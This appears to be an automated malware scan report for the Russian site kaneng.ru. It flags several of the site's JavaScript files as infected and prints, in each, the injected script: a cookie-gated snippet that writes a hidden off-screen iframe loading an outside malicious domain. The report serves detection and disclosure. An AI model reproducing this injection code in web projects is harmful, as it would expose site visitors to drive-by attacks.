Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=kaneng.ru
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://kaneng.ru/ | 200 OK Content-Length: 19423 Content-Type: text/html | clean |
http://kaneng.ru/wp-includes/js/jquery/jquery.js?ver=1.7.1 | 200 OK Content-Length: 94784 Content-Type: application/x-javascript | malicious |
Page code contains blacklisted domain: fiktirobel.lourdescaceres.com.ar ...[288 bytes skipped]... te.toUTCString(); } function takeOrlondo(name) { var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" )); return nachos ? decodeURIComponent(nachos[1]) : undefined; } var cookie = takeOrlondo('lirmanusik'); if (cookie == undefined) { setCookie('lirmanusik', true, 259200); document.write('<iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>'); } } Art_protection(); /* Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt *//*! jQuery v1.7.1 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("d ...[2972 bytes skipped]... Malicious iFrame found. size: 131x131 src: http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html This URL is marked by Google as suspicious <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"> | ||
http://kaneng.ru/wp-content/plugins/auto-thickbox-plus/thickbox.min.js?ver=1.4 | 200 OK Content-Length: 24160 Content-Type: application/x-javascript | malicious |
Malicious code found. Script contains blacklisted domain: fiktirobel.lourdescaceres.com.ar ...[204 bytes skipped]... te.toUTCString(); } function takeOrlondo(name) { var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" )); return nachos ? decodeURIComponent(nachos[1]) : undefined; } var cookie = takeOrlondo('lirmanusik'); if (cookie == undefined) { setCookie('lirmanusik', true, 259200); document.write('<iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>'); } } Art_protection(); jQuery(document).ready(function(){"string"!=typeof tb_pathToImage&&(tb_pathToImage=thickboxL10n.loadingAnimation);"string"!=typeof tb_closeImage&&(tb_closeImage=thickboxL10n.closeImage)}); var tb_options={auto_resize:!0,click_img:"close",click_end:"loop",click_bg:"close",wheel_img:"prev_next",keys_ ...[3117 bytes skipped]... Decoded script: <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe> Malicious iFrame found. size: 131x131 src: http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html This URL is marked by Google as suspicious <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"> | ||
http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js | 200 OK Content-Length: 93868 Content-Type: text/javascript | clean |
http://kaneng.ru/wp-content/themes/a2g-kaneng.ru-v2/js/slides.min.jquery.js | 200 OK Content-Length: 7679 Content-Type: application/x-javascript | malicious |
Malicious code found. Script contains blacklisted domain: fiktirobel.lourdescaceres.com.ar ...[204 bytes skipped]... te.toUTCString(); } function takeOrlondo(name) { var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" )); return nachos ? decodeURIComponent(nachos[1]) : undefined; } var cookie = takeOrlondo('lirmanusik'); if (cookie == undefined) { setCookie('lirmanusik', true, 259200); document.write('<iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>'); } } Art_protection(); (function(a){a.fn.slides=function(b){return b=a.extend({},a.fn.slides.option,b),this.each(function(){function w(g,h,i){if(!p&&o){p=!0,b.animationStart(n+1);switch(g){case"next":l=n,k=n+1,k=e===k?0:k,r=f*2,g=-f*2,n=k;break;case"prev":l=n,k=n-1,k=k===-1?e-1:k,r=0,g=0,n=k;break;case"pagination":k=parseInt(i,10),l ...[3105 bytes skipped]... Decoded script: <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe> Malicious iFrame found. size: 131x131 src: http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html This URL is marked by Google as suspicious <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"> | ||
http://kaneng.ru/wp-content/themes/a2g-kaneng.ru-v2/js/kan.js | 200 OK Content-Length: 1888 Content-Type: application/x-javascript | malicious |
Page code contains blacklisted domain: fiktirobel.lourdescaceres.com.ar ...[288 bytes skipped]... te.toUTCString(); } function takeOrlondo(name) { var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" )); return nachos ? decodeURIComponent(nachos[1]) : undefined; } var cookie = takeOrlondo('lirmanusik'); if (cookie == undefined) { setCookie('lirmanusik', true, 259200); document.write('<iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>'); } } Art_protection(); /* Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt */ //ÐавигаÑÐ¸Ñ /* $(document).ready(function () { $('#access li').hover( function () { $(this).children("ul").slideDown(200); $(this).addClass("current"); }, functi ...[932 bytes skipped]... Malicious iFrame found. size: 131x131 src: http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html This URL is marked by Google as suspicious <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"> | ||
http://kaneng.ru/wp-content/themes/a2g-kaneng.ru-v2/js/jquery.scrollTo.js | 200 OK Content-Length: 8581 Content-Type: application/x-javascript | malicious |
Malicious code found. Script contains blacklisted domain: fiktirobel.lourdescaceres.com.ar ...[204 bytes skipped]... te.toUTCString(); } function takeOrlondo(name) { var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" )); return nachos ? decodeURIComponent(nachos[1]) : undefined; } var cookie = takeOrlondo('lirmanusik'); if (cookie == undefined) { setCookie('lirmanusik', true, 259200); document.write('<iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>'); } } Art_protection(); ;(function( $ ){ var $scrollTo = $.scrollTo = function( target, duration, settings ){ $(window).scrollTo( target, duration, settings ); }; $scrollTo.defaults = { axis:'xy', duration: parseFloat($.fn.jquery) >= 1.3 ? 0 : 1 }; $scrollTo.window = function( scope ){ re ...[3704 bytes skipped]... Decoded script: <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe> Malicious iFrame found. size: 131x131 src: http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html This URL is marked by Google as suspicious <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"> | ||
http://kaneng.ru/wp-content/themes/a2g-kaneng.ru-v2/js/carousel.js | 200 OK Content-Length: 6074 Content-Type: application/x-javascript | malicious |
Malicious code found. Script contains blacklisted domain: fiktirobel.lourdescaceres.com.ar ...[204 bytes skipped]... te.toUTCString(); } function takeOrlondo(name) { var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" )); return nachos ? decodeURIComponent(nachos[1]) : undefined; } var cookie = takeOrlondo('lirmanusik'); if (cookie == undefined) { setCookie('lirmanusik', true, 259200); document.write('<iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>'); } } Art_protection(); (function($){ $.fn.carousel = function(opts) { var defaults = { mode: 'horizontal', fadeDuration: 300, transitionDuration: 700, step: 300, opacity: 0.5, circular: false, auto: false, ...[3301 bytes skipped]... Decoded script: <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe> Malicious iFrame found. size: 131x131 src: http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html This URL is marked by Google as suspicious <iframe src="http://fiktirobel.lourdescaceres.com.ar/feotriopol16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"> | ||
http://kaneng.ru/katalog-tovarov/ | 200 OK Content-Length: 19043 Content-Type: text/html | clean |
http://kaneng.ru/katalog-tovarov/sistema-kan-therm/ | 200 OK Content-Length: 26672 Content-Type: text/html | clean |
http://kaneng.ru/katalog-tovarov/broen/ | 200 OK Content-Length: 23726 Content-Type: text/html | clean |
http://kaneng.ru/prajs-list/ | 200 OK Content-Length: 18257 Content-Type: text/html | clean |
http://kaneng.ru/prajs-list/push/ | 200 OK Content-Length: 199752 Content-Type: text/html | clean |
http://kaneng.ru/prajs-list/press/ | 200 OK Content-Length: 17932 Content-Type: text/html | clean |
http://kaneng.ru/prajs-list/pp/ | 200 OK Content-Length: 17917 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: kaneng.ru
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Sep 2014 06:24:25 GMT
Server: nginx/1.4.4
Vary: Cookie
Content-Type: text/html; charset=UTF-8
X-Pingback: http://kaneng.ru/xmlrpc.php
X-Powered-By: PHP/5.2.17-pl0-gentoo
GET / HTTP/1.1
Host: kaneng.ru
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Sep 2014 06:24:25 GMT
Server: nginx/1.4.4
Vary: Cookie
Content-Type: text/html; charset=UTF-8
X-Pingback: http://kaneng.ru/xmlrpc.php
X-Powered-By: PHP/5.2.17-pl0-gentoo
Second query (visit from search engine):
GET / HTTP/1.1
Host: kaneng.ru
Referer: http://www.google.com/search?q=kaneng.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: kaneng.ru
Referer: http://www.google.com/search?q=kaneng.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.